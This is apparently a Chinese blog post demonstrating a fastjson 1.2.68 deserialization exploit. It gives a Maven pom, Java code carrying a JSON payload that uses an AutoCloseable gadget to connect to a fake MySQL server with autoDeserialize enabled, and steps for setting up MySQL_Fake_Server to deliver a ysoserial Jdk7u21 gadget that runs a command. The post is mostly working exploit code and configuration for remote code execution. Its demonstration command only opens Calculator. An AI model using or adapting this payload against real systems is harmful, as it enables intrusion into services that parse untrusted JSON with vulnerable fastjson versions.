• fastjson 1.2.68利用


    一 环境

    mac M1
    java version "1.7.0_21"
    jdk下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

    二 pom

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>java7_fastjson</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>7</maven.compiler.source>
            <maven.compiler.target>7</maven.compiler.target>
        </properties>
        <dependencies>
            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.68</version>
            </dependency>
            <dependency>
                <groupId>mysql</groupId>
                <artifactId>mysql-connector-java</artifactId>
                <version>5.1.29</version>
            </dependency>
        </dependencies>
    
    </project>
    

    三 java 代码

    import com.alibaba.fastjson.JSON;
    
    public class main {
        public static void main(String[] args){
            String string = "{\"@type\":\"java.lang.AutoCloseable\"{\"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3307,\"info\":{\"user\":\"yso_Jdk7u21_calc\",\"password\":\"oihnqwa\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\"},\"databaseToConnectTo\":\"test\",\"url\":\"\"}";
            Object obj = JSON.parseObject(string);
            System.out.println(obj.toString());
        }
    }
    
    

    四 MySQL Fake Server

    https://github.com/fnmsd/MySQL_Fake_Server
    1 config.json 中 修改java路径

    "javaBinPath":"/Library/Java/JavaVirtualMachines/jdk1.7.0_21.jdk/Contents/Home/bin/java",

    2 放入一个ysoserial jar包
    3 server.py中,强制修改掉命令
    yso_command = "open /System/Applications/Calculator.app"

    elif username.startswith(b"yso_"):
    	query =(yield from packet.read())
        _,yso_type,yso_command = username.decode('ascii').split("_")
        yso_command = "open /System/Applications/Calculator.app"
    

    五 运行

    运行java代码,成功弹出

    六 问题

    1 不管成功不成功,都会有 "Could not map transaction isolation '11 to a valid JDBC level."这个报错
    2 在jdk1.8的版本下,怎么利用

  • 相关阅读:
    Hibernate实现CRUD的例子小结
    AspnetPager表格标题排序功能
    Microsoft企业库配置问题
    orm比较
    外语培训网求鉴定
    DIV随滚动条滚动而滚动
    图片切换效果展示
    转载C#委托之多播委托( 二)
    LINQ 图解
    不用ajax调用搞后台小技巧
  • 原文地址:https://www.cnblogs.com/huim/p/15525838.html
Copyright © 2020-2023  润新知